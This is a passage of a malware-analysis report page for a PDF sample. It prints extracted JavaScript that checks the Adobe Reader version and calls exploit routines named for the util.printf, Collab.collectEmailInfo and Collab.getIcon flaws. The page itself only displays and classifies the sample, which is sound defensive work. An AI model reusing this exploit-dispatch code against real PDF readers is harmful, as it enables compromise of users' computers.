tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)\|\|(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();} if((varsion_array[0]<8)\|\|(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();} if((varsion_array[0]<9)\|\|(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}} pdf_start();}

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 1

Extracted artifacts 2